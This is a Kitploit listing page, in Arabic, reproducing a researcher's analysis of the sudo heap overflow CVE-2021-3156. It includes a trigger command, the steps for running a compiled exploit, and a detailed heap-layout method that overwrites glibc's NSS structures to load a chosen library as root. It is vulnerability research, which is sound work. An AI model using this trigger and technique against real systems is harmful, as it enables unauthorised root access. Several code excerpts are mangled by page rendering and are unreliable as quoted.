Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-3156 — CVE-2021-3156 POC و Docker وكتابة تقرير التحليل | Kitploit
أدوات/GitHubGitHub/chenaotian/cve-2021-3156
تصعيد الامتيازاتتحليل الثغرات الأمنيةتحليل الكودالاستغلالالهندسة العكسيةمصممي الأخطاءالاختبار العشوائياختبار الاختراقالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
1124منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
chenaotian/cve-2021-3156

CVE-2021-3156

CVE-2021-3156 POC و Docker وكتابة تقرير التحليل

عرض المستودع

CVE-2021-3156

[toc]

ملخص الثغرة

رقم الثغرة: CVE-2021-3156

درجة الثغرة:

المنتج المتأثر: Linux sudo

النطاق المتأثر: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1

شروط الاستغلال: محلي على Linux؛ sudo مع SUID وقابل للتشغيل

تأثير الاستغلال: رفع الامتيازات محليًا

الحصول على المصدر: https://www.sudo.ws/getting/source/

إعداد البيئة

بيئة Docker: chenaotian/cve-2021-3156

لقد قمت ببناء Docker الخاص بي، والذي يوفر:

  1. sudo مترجم بنفسي مع إمكانية تصحيح الأخطاء من المصدر
  2. glibc مع رموز التصحيح
  3. gdb وإضافات gdb: pwngdb & pwndbg
  4. exp.c وملف exp المترجم بنجاح

كل شيء موجود في الدليل /root:

image-20220124223312224

  • مجلد exp هو المجلد الذي يحتوي على كود exp والملف المترجم، ويمكن تشغيله مباشرة في هذا Docker.
  • glibc-2.27 هو مجلد المصدر لإصدار libc في هذه البيئة.
  • sudo-1.8.21 هو مجلد المصدر لـ sudo في هذه البيئة، وقد استخدمته للترجمة.

اختبار exp:``` cd exp su test ./exp whoami

root@kitploit:~
انظر محتوى التصحيح في [بعض أوامر التصحيح](#一些调试命令)


## مبدأ الثغرة

تشغيل الثغرة payload```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`

تحليل الشفرة المصدرية (sudo-1.8.21): أولاً، الدالة main في sudo.c (sudo.c: 133):```c int main(int argc, char *argv[], char *envp[]) { int nargc, ok, status = 0; char **nargv, **env_add; char **user_info, **command_info, **argv_out, **user_env_out; struct sudo_settings *settings; struct plugin_container *plugin, *next; sigset_t mask; debug_decl_vars(main, SUDO_DEBUG_MAIN)

root@kitploit:~
··· ···
··· ···

/* Parse command line arguments. */
//在这里处理输入参数,设置sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);

··· ···
··· ···
    
switch (sudo_mode & MODE_MASK) {
··· ···
··· ···
case MODE_EDIT:
case MODE_RUN:
    ok = policy_check(&policy_plugin, nargc, nargv, env_add,
	&command_info, &argv_out, &user_env_out);
    ··· ···
    ··· ···
}

··· ···
··· ···

}

root@kitploit:~
- أولاً، يتم استدعاء دالة `parse_args` لمعالجة المعاملات التي أدخلناها. في الواقع، هنا أدخلنا فقط `-s` ولا يوجد شيء يمكن تعيينه، حيث يتم تعيين `sudo_mode` إلى `MODE_EDIT` و `MODE_SHELL`.

- ثم، بناءً على اختلاف `sudo_mode`، يقوم `MODE_EDIT` باستدعاء `policy_check`

بعد ذلك، دالة `policy_check` في `sudo.c` (sudo.c: 1136):```c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
    char *env_add[], char **command_info[], char **argv_out[],
    char **user_env_out[])
{
    ··· ···
    ··· ···
    ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
	argv_out, user_env_out);
    ···
}

تم استدعاء دالة الاستدعاء plugin->u.policy->check_policy، ويمكن تصحيح الأخطاء لرؤية الدالة الحقيقية لهذه الدالة:

image-20220123113326096

الدالة المستدعاة هي sudoers_policy_check في policy.c (policy.c: 760):```c static int sudoers_policy_check(int argc, char * const argv[], char *env_add[], char **command_infop[], char **argv_out[], char **user_env_out[]) { ··· ···

root@kitploit:~
exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;

ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
··· ···
··· ···

}

root@kitploit:~
ثم تم استدعاء دالة `sudoers_policy_main` في `sudoers.c` (`sudoers.c: 224`):```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    void *closure)
{
    ··· ···
    ··· ···

    /*
     * Make a local copy of argc/argv, with special handling
     * for pseudo-commands and the '-i' option.
     */
    if (argc == 0) {
	··· ···
    } else {
	/* Must leave an extra slot before NewArgv for bash's --login */
	NewArgc = argc;
	NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
	··· ···
	}
	memcpy(++NewArgv, argv, argc * sizeof(char *));
	NewArgv[NewArgc] = NULL;
	··· ···
	}
    }
	··· ···
    cmnd_status = set_cmnd();
    ··· ···
    ··· ···
    ··· ···
}

هنا تم تعيين بعض المتغيرات العامة، NewArgc و NewArgv كما يلي، إنها في الواقع المعاملات المُدخلة.

image-20220123113819116

ثم الدخول إلى دالة set_cmnd في sudoers.c (sudoers.c: 796):```c static int set_cmnd(void) { ··· ··· ··· ···

root@kitploit:~
/* set user_args */
if (NewArgc > 1) {
    char *to, *from, **av;
    size_t size, n;

    /* Alloc and build up user_args. */
    //根据参数总长度计算size, 后续malloc 申请,没有问题
    for (size = 0, av = NewArgv + 1; *av; av++)
	size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
	sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
	debug_return_int(-1);
    }
    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
	/*
	 * When running a command via a shell, the sudo front-end
	 * escapes potential meta chars.  We unescape non-spaces
	 * for sudoers matching and logging purposes.
	 */
     //将所有参数拷贝到一起放到堆中,逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
     //但这里\x00 并不算空格类型字符
     //他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
	for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
	    while (*from) {
		if (from[0] == '\\' && !isspace((unsigned char)from[1]))
		    from++;
		*to++ = *from++;
	    }
	    *to++ = ' ';
	}
	*--to = '\0';
    } 
    ··· ···
}
}
··· ···
··· ···

}

root@kitploit:~
يحدث التجاوز هنا أيضًا، كما يتضح من التعليقات في الكود، يحدث تجاوز سعة الكومة عند النسخ إلى الكومة. المعنى الأصلي لهذا الكود ليس من الصعب فهمه: نسخ جميع الوسائط من `NewArgv` إلى الكومة، مفصولة بمسافات، وعند مواجهة `\ + حرف غير مسافات`، يتم نسخ ذلك الحرف فقط.

**لكنها لم تأخذ في الاعتبار حالة أن عنصرًا من `NewArgv` ينتهي بـ `\`، أي بنية `\+\x00`، و `\x00` لا ينتمي إلى الأحرف المسافات (غريب)! أي أنه بعد نسخ `\x00` إلى الكومة، يزداد المتغير `from` بمقدار (يزيد مرتين في حلقة واحدة) ويتجاوز فرصة جملة `while` التي تتحقق من علامة النهاية `\x00`، معتبرًا أن الوسائط لم يتم نسخها بعد، ويواصل النسخ إلى الخلف حتى يصادف `\x00` التالي.**

في هذا السيناريو، يمكن رؤية أن `\+\x00` يتبعه مباشرة الوسيط التالي `A*80`، لذا سيستمر النسخ إلى نهاية `A*80`. لكن لا تنسَ أنه سيتم لاحقًا معالجة الوسيط `A*80` بشكل فعلي، وسيتم نسخه مرة أخرى، لذلك تم نسخ `A*80` مرتين هنا، ولكن تم تخصيص القطعة (chunk) بناءً على حجم سلسلة واحدة من `A*80` فقط، وهو ما يتجاوز بكثير الطول المخصص للقطعة.

image-20220123113907744

ثم يحدث التجاوز، قبل النسخ:

image-20220123114036691

بعد النسخ:

image-20220123114137794

مسار تشغيل الثغرة الكلي هو (يمكنك ببساطة تعيين نقاط توقف عند هذه الدوال أثناء التصحيح):

- sudo.c : main
  - sudo.c : policy_check
    - policy.c : sudoerrs_policy_check
      - sudoers.c : sudoers_policy_main
        - sudoers.c : set_cmnd
          - sudoers.c : 859

## مبدأ استغلال الثغرة

تمت الإشارة إلى [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156)، **لكن طريقة تخطيط الكومة الخاصة به نادرة الحدوث؛ هنا تم تحليل طريقة تخطيط الكومة بالتفصيل**. من خلال تمرير متغيرات البيئة `LC_*` لتخطيط الكومة، ثم جعل القطعة الفائضة (vuln chunk) تغطي تمامًا الهيكل `service_user` الذي تحتاج دالة `nss_load_library` إلى تحميله كـ `.so`، واستبدال سلسلة اسم `.so` داخل الهيكل، ثم جعل البرنامج يقوم بتحميل الـ `.so` المحدد من قبلنا لتنفيذ تعليمات برمجية عشوائية.

على الرغم من أن المنطق يبدو واضحًا، إلا أن التفاصيل التي يجب التعامل معها لا تزال صعبة نوعًا ما:

1. هياكل البيانات والآليات ذات الصلة في `nss_load_library`
2. كيف يقوم `setlocale` بتخطيط الكومة عبر متغيرات البيئة `LC_*`

بعد ذلك، سنشير إلى القطعة التي يمكن أن يحدث فيها التجاوز عند حدوث الثغرة باسم `vuln chunk`، والهدف من التجاوز باسم `target chunk`.

### مبدأ `nss`

أولاً، لننظر إلى الكود الأساسي للاستغلال:

`glibc/nss/nsswitch.c: 377 nss_load_library()````c
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
				     ni->name);
      if (ni->library == NULL)
	return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      ··· ···
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      ··· ···
      ··· ···
  }
}

service_user على الكومة، وعندما يكون ni->library->lib_handle NULL، سيتم استدعاء __libc_dlopen لتحميل المكتبة المشتركة (so). إذا تمكنا من تجاوز حجم الكتلة التي تحتوي على ni، فكل ما نحتاجه هو تعيين library إلى 0، لأنه في الفرع الأول إذا كان library NULL، فهذا يعني أنه لم يتم تهيئته، وسيتم استدعاء nss_new_service لتهيئة library، وبعد التهيئة سيكون handle NULL بالتأكيد.

حسنًا، بعد معرفة نقطة التشغيل الرئيسية لاستغلال الثغرة، دعنا نفهم آلية عمل NSS.

أولاً، يوجد ملف في الدليل /etc/ يسمى /etc/nsswitch.conf (عادةً ما يكون هكذا، لكنه يختلف من جهاز لآخر):```

/etc/nsswitch.conf

Example configuration of GNU Name Service Switch functionality.

If you have the glibc-doc-reference' and info' packages installed, try:

`info libc "Name Service Switch"' for information about this file.

passwd: compat systemd group: compat systemd shadow: compat gshadow: files

hosts: files dns networks: files

protocols: db files services: db files ethers: db files rpc: db files

netgroup: nis

root@kitploit:~
هذا ملف تكوين يحدد الطرق والترتيب (أي أي ملفات so يتم استخدامها) عبر هذه المسارات المسجلة للبحث عن الأساليب. كما يمكن تحديد الإجراء الذي سيتخذه النظام عند نجاح أو فشل أسلوب معين.

ما فهمته هو أنه يحدد أين يحتاج البرنامج لاسترداد المعلومات المطلوبة، مثل معلومات المستخدم، الشبكة، العنوان، إلخ. يتجلى ذلك في البرنامج من خلال استدعاء الدالة من ملف so مختلف. تنفيذ هذه الدالة في ملفات so المختلفة هو الطريقة لاسترداد تلك المعلومات.

التالي ننظر إلى ثلاث بنى (`structs`):```c
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;

typedef struct name_database
{
  /* List of all known databases.  */
  name_database_entry *entry;
  /* List of libraries with service implementation.  */
  service_library *library;
} name_database;

هناك مدخل عام static name_database *service_table; ثم في دالة __nss_database_lookup، إذا كان المدخل العام service_table فارغًا، فسيتم استدعاء nss_parse_file للتهيئة، والكود ذو الصلة كما يلي:

glibc/nss/nsswitch.c : 117```c int __nss_database_lookup (const char *database, const char *alternate_name, const char *defconfig, service_user *ni) { ··· ··· / Are we initialized yet? / if (service_table == NULL) / Read config file. */ service_table = nss_parse_file (_PATH_NSSWITCH_CONF); ··· ··· }

root@kitploit:~
glibc/nss/nsswitch.c : 541```c
static name_database *
nss_parse_file (const char *fname)
{
  FILE *fp;
  name_database *result;
  name_database_entry *last;
  ··· ···
  //打开/etc/nsswitch.conf
  fp = fopen (fname, "rce");
  ··· ···
  result = (name_database *) malloc (sizeof (name_database));
  ··· ···
  do
    {
      name_database_entry *this;
      ssize_t n;
      n = __getline (&line, &len, fp);// getline 这里会申请一个0x80 大小的chunk
      
      ··· ···
          
      this = nss_getline (line);
      if (this != NULL)
	{
	  if (last != NULL)
	    last->next = this;
	  else
	    result->entry = this;

	  last = this;
	}
    }
  while (!feof_unlocked (fp));

  /* Free the buffer.  */
  free (line); //在函数返回之前会将getline 函数申请的0x80 chunk 释放掉。
  /* Close configuration file.  */
  fclose (fp);

  return result;
}

المبدأ هو أنه عند البحث الأول، يُكتشف أن الجدول العمومي service_table فارغ، فتُجرى عملية التهيئة وفقًا لمحتويات ملف /etc/nsswitch.conf. تكون بنية البيانات النهائية كما يلي:

image-20220123134155631

جميع هياكل البيانات هنا تُخصص دفعة واحدة في نفس الدالة، وفقًا للترتيب الموضح في الصورة. لذا في الحالة العادية، تكون هذه القطع (chunks) متجاورة. كما أن تخصيصها يسبق القطعة المعرضة للثغرة (vuln chunk). (نقطة التوقف التصحيحية nss_parse_file)

بالإضافة إلى ذلك، تجدر الإشارة إلى وجود دالة __getline داخل دالة nss_parse_file، وهذه الدالة تخصص قطعة (chunk) حسب طول المحتوى المقروء، ويتم تحرير هذه القطعة عند إرجاع دالة nss_parse_file في النهاية. نظرًا لأن أطول سطر في محتوى ملف /etc/nsswitch.conf هو التعليقات عادةً، ولا يمكننا التحكم في ذلك الملف، يمكننا اعتبار أن طول القطعة المخصصة في دالة __getline ثابت في كل مرة، ويكون بحجم 0x80.

لذا يمكننا فهمه على أنه: قطعة ثمينة جدًا تُخصص قبل القائمة المرتبطة بالخدمات (service list)، ويتم تحريرها فور اكتمال تخصيص بنية القائمة المرتبطة، وتبقى في حالة حرة (free) قبل تخصيص القطعة المعرضة للثغرة. احتفظ بهذه التفصيلة الصغيرة مؤقتًا (لقد اختبرت العديد من البيئات، ومعظمها يمكن أن يستفيد من هذه التفصيلة).

متى يتم استدعاء دالة nss_load_library؟ يمكن تتبع سلسلة الاستدعاء أثناء التصحيح:

image-20220123114256387

وفقًا لسلسلة الاستدعاء، عندما نحتاج إلى استدعاء بعض الدوال للبحث عن معلومات المضيف أو المستخدم، تُستدعى دوال بحث للعثور على الدالة المناسبة في ملف الـ so المقابل. باختصار، إنها بنية بيانات service_table المولدة من ملف /etc/nsswitch.conf. الكود كالتالي:

glibc/nss/XXX-lookup.c:```c int DB_LOOKUP_FCT (service_user **ni, const char *fct_name, const char *fct2_name, void **fctp) {//先搜索对应的服务 if (DATABASE_NAME_SYMBOL == NULL && __nss_database_lookup (DATABASE_NAME_STRING, ALTERNATE_NAME_STRING, DEFAULT_CONFIG, &DATABASE_NAME_SYMBOL) < 0) return -1;

*ni = DATABASE_NAME_SYMBOL; //再搜索对应so return __nss_lookup (ni, fct_name, fct2_name, fctp); } libc_hidden_def (DB_LOOKUP_FCT)

root@kitploit:~
أولاً، يتم استدعاء `__nss_database_lookup` بناءً على `DATABASE_NAME_STRING` المُمرَّرة (محتواها passwd, group, shadow, إلخ) للعثور على الخدمة المقابلة: أي البحث في المنطقة الحمراء في الصورة أدناه للعثور على التطابق، ثم إرجاع مؤشر الخدمة. إذا كانت هذه هي المرة الأولى للبحث وكل المداخل فارغة، فسيتم التهيئة (كما ذُكر أعلاه).

image-20220123133933696

ثم يتم استدعاء `__nss_lookup` الذي يستدعي بشكل متكرر `__nss_lookup_function` للبحث في قائمة الخدمات المرتبطة عن الخدمة التي تحتوي على الدالة المطلوبة، ثم يتم استدعاء `nss_load_library` للحصول على مقبض مكتبة الارتباط الديناميكي (so)، ثم البحث عن الدالة المطلوبة. الكود كما يلي:

glibc/nss/nsswitch.c : 194```c
int
__nss_lookup (service_user **ni, const char *fct_name, const char *fct2_name,
	      void **fctp)
{
  *fctp = __nss_lookup_function (*ni, fct_name);
  ··· ···
  while (*fctp == NULL
	 && nss_next_action (*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE
	 && (*ni)->next != NULL)
    {
      *ni = (*ni)->next;

      *fctp = __nss_lookup_function (*ni, fct_name);
      ··· ···
    }

  return *fctp != NULL ? 0 : (*ni)->next == NULL ? 1 : -1;
}
libc_hidden_def (__nss_lookup)

glibc/nss/nsswitch.c : 410```c void * __nss_lookup_function (service_user *ni, const char *fct_name) { ··· ···

found = __tsearch (&fct_name, &ni->known, &known_compare); ··· ···//没有搜到的一些操作省略

else { known_function *known = malloc (sizeof known); ··· ··· else { //调用nss_load_library, 检查ni->library->lib_handle 是否为空,为空则重新dlopen //具体nss_load_library 代码见上面 ··· ··· if (nss_load_library (ni) != 0) / This only happens when out of memory. */ goto remove_from_tree;

root@kitploit:~
  if (ni->library->lib_handle == (void *) -1l)
    /* Library not found => function not found.  */
    result = NULL;
  else
    {
      ··· ···
          
      /* Construct the function name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
				    ni->name),
			  "_"),
		fct_name);

      /* Look up the symbol.  */
      result = __libc_dlsym (ni->library->lib_handle, name);
    }
    
    ··· ···
    ··· ···

}
···

return result; } libc_hidden_def (__nss_lookup_function)

root@kitploit:~
يمكن ملاحظة أنه بمجرد استدعاء دالة من داخل libnss_xxx.so، فإنه لا بد من استدعاء `nss_load_library`، حتى لو كان هذا الملف المشترك (so) قد تم تحميله بالفعل. لذلك، وفقًا لفكرة الـ exp المعروفة، **نحتاج فقط إلى معرفة أي so تنتمي إليه أول دالة متعلقة بـ libnss يتم استدعاؤها بعد حدوث تجاوز سعة الكومة (heap overflow)، ثم عبر تخطيط الكومة، نضع بنية `service_user` التابعة لذلك الـ so خلف chunk الثغرة (vuln chunk). ولكن وفقًا لاختباراتي في بيئات متعددة، وجدت أنه حتى بالنسبة لنفس الإصدار، تختلف بنية الكود بين الإصدار المترجم يدويًا والإصدار الموزع (distribution)**، لذا استخدمت بيئة التصحيح الخاصة بي لإعادة تحليل وكتابة exp.

### العودة إلى بيئة التصحيح

بيئة التصحيح التي بنيتها (docker) هي sudo مترجم يدويًا مع رموز تصحيح (debug symbols)، والمعلومات المحددة كالتالي:```
ubuntu 18.04 LTS
libc-2.27
sudo 1.8.21

/etc/nsswitch.conf محتواه كما يلي:

image-20220115142452318

لا يزال مختلفًا جدًا عن الطبيعي، لذا فإن تشغيل exp لشخص آخر مباشرةً لن يعمل. بالإضافة إلى ذلك، بعد التصحيح، في بيئتي، بعد تجاوز سعة الكومة، أول دالة nss يتم استدعاؤها هي setspent وهي دالة من shadow، أي database_entrry3 و service_user، لذا فإن الـ target chunk هو رقم 7، ونأمل أن يظهر الـ vuln chunk قبل الـ chunk رقم 7، وألا توجد أرقام chunks أخرى بينهما (أي عند التجاوز لا يتم تدمير الـ chunks الأخرى من بنية service_table).

image-20220123134335546

بعد ذلك، لا مفر من أن ندرس كيفية تنفيذ عملية رفع الامتيازات لترتيب الكومة في مرة واحدة. من المعروف أن متغير البيئة LC_ALL يُستخدم في دالة setlocale لإكمال ترتيب الكومة. بعد التحليل، توجد العديد من عمليات طلب وتحرير الكومة في setlocale، لذا سنركز هنا على الجزء الذي يمكننا التحكم فيه.

استخدام setlocale لترتيب الكومة

بالصدفة، وجدت مدونة تحليل زميل في مدونة الشركة الداخلية، وكانت مفيدة جدًا، لكن لا يمكن الوصول إليها من الخارج لذا لن أضع الرابط.

آلية الكومة في setlocale، المفتاح هو جملة واحدة: فقط قم بإدخال متغيرات البيئة بالأطوال المطلوبة وفقًا لترتيب الـ chunks التي تريد تحريرها، مما يضمن ترتيب التحرير والعلاقات، لكن هذه الـ chunks ليست متجاورة بشكل وثيق.

أولاً، انظر إلى مصدر setlocale:

glibc/locale/setlocale.c : 218```c char * setlocale (int category, const char *locale) { char *locale_path; size_t locale_path_len; const char *locpath_var; char *composite;

··· ···

locale_path = NULL; locale_path_len = 0;

··· ···

if (category == LC_ALL) { ··· ··· ··· ··· /* Load the new data for each category. */
while (category-- > 0) if (category != LC_ALL) {//关键处理函数 _nl_find_locale newdata[category] = _nl_find_locale (locale_path, locale_path_len, category, &newnames[category]);

root@kitploit:~
    if (newdata[category] == NULL)
      {//返回null 则会跳出循环
	···
	break;
      }

    ··· ···

    /* Make a copy of locale name.  */
    if (newnames[category] != _nl_C_name)
      {
	if (strcmp (newnames[category],
		    _nl_global_locale.__names[category]) == 0)
	  newnames[category] = _nl_global_locale.__names[category];
	else
	  {
        //这个strdup 很关键
	    newnames[category] = __strdup (newnames[category]);
	    if (newnames[category] == NULL)
	      break;
	  }
      }
  }

  /* Create new composite name.  */
  composite = (category >= 0
	   ? NULL : new_composite_name (LC_ALL, newnames));
  if (composite != NULL)
{
    ··· ···
}
  else
for (++category; category < __LC_LAST; ++category)//校验
  if (category != LC_ALL && newnames[category] != _nl_C_name
      && newnames[category] != _nl_global_locale.__names[category])
    //这个free 很关键,这里是一处循环free,可以集中free 一堆chunk
    free ((char *) newnames[category]);

  /* Critical section left.  */
  __libc_rwlock_unlock (__libc_setlocale_lock);

  /* Free the resources.  */
  free (locale_path);
  free (locale_copy);

  return composite;
}

··· ···
··· ···
  

} libc_hidden_def (setlocale)

root@kitploit:~
`setlocale` هي دالة تتعلق ببعض إعدادات اللغة والبيئة بشكل فوضوي، والمعلمات المتعلقة بمتغيرات البيئة هي كما يلي:```c
#define __LC_CTYPE		 0
#define __LC_NUMERIC		 1
#define __LC_TIME		 2
#define __LC_COLLATE		 3
#define __LC_MONETARY		 4
#define __LC_MESSAGES		 5
#define __LC_ALL		 6
#define __LC_PAPER		 7
#define __LC_NAME		 8
#define __LC_ADDRESS		 9
#define __LC_TELEPHONE		10
#define __LC_MEASUREMENT	11
#define __LC_IDENTIFICATION	12

وفقًا لقيمة المعامل category، يتم البحث في متغيرات البيئة عن المعامل المناسب لاتخاذ إجراء. في sudo، يتم استخدام setlocale(LC_ALL,""); عندما يكون المعامل المرسل هو LC_ALL، يبدأ المسح من LC_IDENTIFICATION ويتجاوز جميع المتغيرات للأمام. لكل استدعاء لدالة _nl_find_locale، هذه الدالة معقدة ولكن القيمة المرجعة newnames[category] هي في الواقع قيمة متغير البيئة المقابل، ثم يتم استدعاء دالة strdup لنسخ هذه السلسلة إلى الكومة. نظرًا لأن المعامل المرسل هو LC_ALL، فسيتم إنشاء مصفوفة سلاسل مقابلة، ثم يتم التحقق منها مع القيم الافتراضية للمتغيرات العامة، وإذا فشل التحقق، سيتم تحريرها (يمكن بسهولة إنشاء مدخل يؤدي إلى الفشل).

بعبارة أخرى، يمكننا من خلال ذلك إجراء x طلبات كومة (strdup) و x عمليات تحرير (free) للقطع المطلوبة حديثًا. يبدو الأمر بسيطًا، لكنه ليس كذلك، لأن دالة _nl_find_locale تحتوي على العديد من عمليات الطلب والتحرير للكومة. القطع التي يتم طلبها بواسطة strdup هي في الغالب نفس القطع التي تم تحريرها داخل دالة _nl_find_locale، وعلى الرغم من أن التحليل اللاحق لاستغلال ثغرات الكومة قد لا يكون مهمًا جدًا، إلا أنه إذا أردنا تخطيط الكومة بدقة، أو إذا كانت البيئة الجديدة صارمة، فإن تحليل _nl_find_locale لا يزال ضروريًا:

glibc/locale/findlocale.c : 101```c struct __locale_data * _nl_find_locale (const char *locale_path, size_t locale_path_len, int category, const char *name) { int mask; / Name of the locale for this category. */ const char *cloc_name = *name; const char *language; const char *modifier; const char *territory; const char *codeset; const char *normalized_codeset; struct loaded_l10nfile *locale_file;

if (cloc_name[0] == '\0') { /* The user decides which locale to use by setting environment variables. */ cloc_name = getenv ("LC_ALL"); if (!name_present (cloc_name)) cloc_name = getenv (_nl_category_names.str + _nl_category_name_idxs[category]); if (!name_present (cloc_name)) cloc_name = getenv ("LANG"); if (!name_present (cloc_name)) cloc_name = _nl_C_name; } ··· ··· ··· ···

/* language[territory[.codeset]][@modifier] 根据环境变量的值来进行mask 设置,关键字为'','.','@' 设置4个标志位(mask) _ 代表国家,会设置一个标志位 . 代表语言编码之类的,有大小写两种写法(如UTF-8和utf8),设置两个标志位 @ 代表用户添加的后缀,也就是自定义内容,设置一个标志位 */

mask = _nl_explode_name (loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset); if (mask == -1) /* Memory allocate problem. */ return NULL;

/* If exactly this locale was already asked for we have an entry with the complete name. */ //这次is_allocate 位为0会直接返回0 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 0);

if (locale_file == NULL) { /* Find status record for addressed locale file. We have to search through all directories in the locale path. / //_nl_make_l10nflist 之中会进行非常多的堆操作 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 1); if (locale_file == NULL) / This means we are out of core. */ return NULL; }

··· ···

if (locale_file->data == NULL) { int cnt; for (cnt = 0; locale_file->successor[cnt] != NULL; ++cnt) {//从返回的链表之中找到success 成功的结构体返回 if (locale_file->successor[cnt]->decided == 0) _nl_load_locale (locale_file->successor[cnt], category); if (locale_file->successor[cnt]->data != NULL) break; } /* Move the entry we found (or NULL) to the first place of successors. */ locale_file->successor[0] = locale_file->successor[cnt]; locale_file = locale_file->successor[cnt];

root@kitploit:~
  if (locale_file == NULL)
return NULL;
}

··· ··· ··· ···

return (struct __locale_data *) locale_file->data; }

root@kitploit:~
في دالة `_nl_find_locale`، يتم أولاً استدعاء دالة `_nl_explode_name` لتعيين القناع (mask) بناءً على قيمة المتغير البيئي (كما ذكرت في تعليقاتي في الكود). يُنظر بشكل أساسي إلى ما إذا كانت هناك دولة ولغة ولاحقة مخصصة من قبل المستخدم، وإذا كان الأمر كذلك، يتم تعيين القناع المقابل، حيث يتم تعيين قناعين للغة، ليصبح المجموع أربعة أقنعة. ثم يؤدي استدعاء دالة `_nl_make_l0nflist` مباشرة إلى إرجاع `_nl_find_locale` قيمة فارغة، مما يؤدي إلى تفعيل كسر الحلقة (break) في `setlocale` أعلاه (مهم جداً).

لنلقِ نظرة بعد ذلك على دالة `_nl_make_l0nflist`:

glibc/intl/l0nflist.c : 150```c
struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
		    const char *dirlist, size_t dirlist_len,
		    int mask, const char *language, const char *territory,
		    const char *codeset, const char *normalized_codeset,
		    const char *modifier,
		    const char *filename, int do_allocate)
{
  char *abs_filename;
  struct loaded_l10nfile *last = NULL;
  struct loaded_l10nfile *retval;
  char *cp;
  size_t entries;
  int cnt;

  /* Allocate room for the full file name.  */
  //根据mask 的值会组成不同的文件路径,长度自然不同,根据长度申请chunk
  abs_filename = (char *) malloc (dirlist_len
				  + strlen (language)
				  + ((mask & XPG_TERRITORY) != 0
				     ? strlen (territory) + 1 : 0)
				  + ((mask & XPG_CODESET) != 0
				     ? strlen (codeset) + 1 : 0)
				  + ((mask & XPG_NORM_CODESET) != 0
				     ? strlen (normalized_codeset) + 1 : 0)
				  + ((mask & XPG_MODIFIER) != 0
				     ? strlen (modifier) + 1 : 0)
				  + 1 + strlen (filename) + 1);

  if (abs_filename == NULL)
    return NULL;

  retval = NULL;
  last = NULL;

  /* Construct file name.  */
  //根据文件名,也就是mask决定的内容进行拼接文件名
  memcpy (abs_filename, dirlist, dirlist_len);
  __argz_stringify (abs_filename, dirlist_len, ':');
  cp = abs_filename + (dirlist_len - 1);
  *cp++ = '/';
  cp = stpcpy (cp, language);

  if ((mask & XPG_TERRITORY) != 0)
    {
      *cp++ = '_';
      cp = stpcpy (cp, territory);
    }
  if ((mask & XPG_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, codeset);
    }
  if ((mask & XPG_NORM_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, normalized_codeset);
    }
  if ((mask & XPG_MODIFIER) != 0)
    {
      *cp++ = '@';
      cp = stpcpy (cp, modifier);
    }

  *cp++ = '/';
  stpcpy (cp, filename);

  ··· ···
  //如果已经已经存在同名文件,则释放刚申请的chunk
  if (retval != NULL || do_allocate == 0)
    {
      free (abs_filename);
      return retval;
    }

  retval = (struct loaded_l10nfile *)
    malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)
				* (1 << pop (mask))
				* sizeof (struct loaded_l10nfile *)));
  if (retval == NULL)
    {
      free (abs_filename);
      return NULL;
    }

  retval->filename = abs_filename;
  /* If more than one directory is in the list this is a pseudo-entry
     which just references others.  We do not try to load data for it,
     ever.  */
